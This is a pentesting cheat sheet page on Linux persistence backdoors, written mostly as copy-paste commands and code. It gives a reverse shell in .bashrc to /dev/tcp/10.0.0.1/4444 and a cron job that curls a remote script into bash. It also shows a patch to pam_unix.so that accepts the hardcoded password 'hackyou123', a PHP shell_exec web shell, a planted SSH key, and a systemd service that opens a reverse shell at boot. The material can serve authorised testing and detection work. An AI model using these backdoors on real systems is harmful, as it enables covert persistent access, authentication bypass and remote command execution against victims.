Linux Backdoors
After compromising a target machine, the adversary attempts to establish persistent access. This page lists some methods of backdoors in Linux for persistence.
Add this line to /root/.bashrc or /home/<user>/.bashrc to gain access to target machine by reverse shell when the victim user logged in.
bash -i >& /dev/tcp/10.0.0.1/4444
Copied!Of course we need to always open netcat listener to be able to fetch incoming connection from the target.
nc -lvnp 4444
Copied!
Add this line to the cron file like /etc/crontab in the target machine.
* * * * * root curl http://<local-ip>:<local-port>/shell | bash
Copied!Create the “shell” file in local machine.
Replace <local-ip> with your ip address.
#!/bin/bash
bash -i >& /dev/tcp/<local-ip>/4444 0>&1
Copied!Now start local web server in local machine. Note that your current working direcotry need to be where the “shell” is located.
python3 -m http.server 4444
Copied!Once the cron job downloads the “shell” file, run “bash” command to execute the “shell”. We should gain access to the target shell.
The pam_unix.so module is likely located in /usr/lib/security or /usr/lib/x86_64-linux-gnu/security directory. It automatically detects and uses shadow passwords to authenticate users.
See this line in the pam_unix.so.
...
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
...
Copied!Modify this line to as below.
...
/* verify the password of this user */
if (strcmp(p, "hackyou123") != 0) {
retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
retval = PAM_SUCCESS;
}
name = p = NULL;
AUTH_RETURN;
...
Copied!Whenever you login to the target system using the password “hackyou123”, you can successfully login.
Create a php file (e.g. shell.php) into /var/www/html.
<?php
if (isset($_REQUEST['cmd'])) {
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
Copied!Leave the php file in /var/www/html.
After that, start a listener for receiving the outcomming connection.
nc -lvnp 4444
Copied!Now access to the web page as below.
Replace <local-ip> with your ip address.
http://<target-ip>/shell.php?cmd=bach -i >& /dev/tcp/<local-ip>/4444 0>&1
Copied!We should get a shell.
We can establish a backdoor to allow us to be able to connect the target SSH server anytime by leaving our public key in the target machine.
First off, run the following command to generate SSH key.
ssh-keygen
Copied!It will generate two keys, private key (id_rsa) and public key (id_rsa.pub).
If there is no .ssh directory in target, we need to create it.
mkdir .ssh
Copied!Then put our public key (id_rsa.pub) into /root/.ssh or /home/<user>/.ssh in the target machine.
scp command can be used for transfering it. Replace <target-user> and <target-iip> depending on your target.
scp ./id_rsa.pub <target-user>@<target-ip>:/root/.ssh/
# or
scp ./id_rsa.pub <target-user>@<target-ip>:/home/<target-user>/.ssh/
Copied!Also we need to add the content of our id_rsa.pub to the target authorized_keys file.
cat id_rsa.pub >> authorized_keys
Copied!In target machine, we need to set the right permissions of the file/directory. Otherwise we cannot connect SSH. Replace <target-user> with your target.
chmod 700 /root
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
# or
chmod 700 /home/<target-user>
chmod 700 /home/<target-user>/.ssh
chmod 600 /home/<target-user>/.ssh/authorized_keys
Copied!After that, we can connect to the target SSH when we want to connect it as long as the public key in .ssh directory is not removed. Before connecting, we need to modify the permission of our private key in local.
chmod 600 private_key
Copied!Now we can connect to SSH of the target.
ssh root@<target-ip> -i private_key
# or
ssh <target-user>@<target-ip> -i private_key
Copied!
We can use systemd as a backdoor because an arbitrary command will be executed when a service start.
The command is stored in [Services] section in the configuration file.
Create /etc/systemd/system/backdoor.service in target machine.
This service will execute reverse shell when starting.
Replace <local-ip> with your ip address.
[UNIT]
Description=Backdoor
[Service]
Type=simple
ExecStart=/bin/bash -i >& /dev/tcp/<local-ip>/4444 0>&1
[Install]
WantedBy=multi-user.target
Copied!Then enable the service.
systemctl enable backdoor
Copied!Now this service will start when the target system boots.
We need to leave the netcat listener running in local machine.
nc -lvnp 4444
Copied!Then we'll get a shell anytime the service starts.
Last updated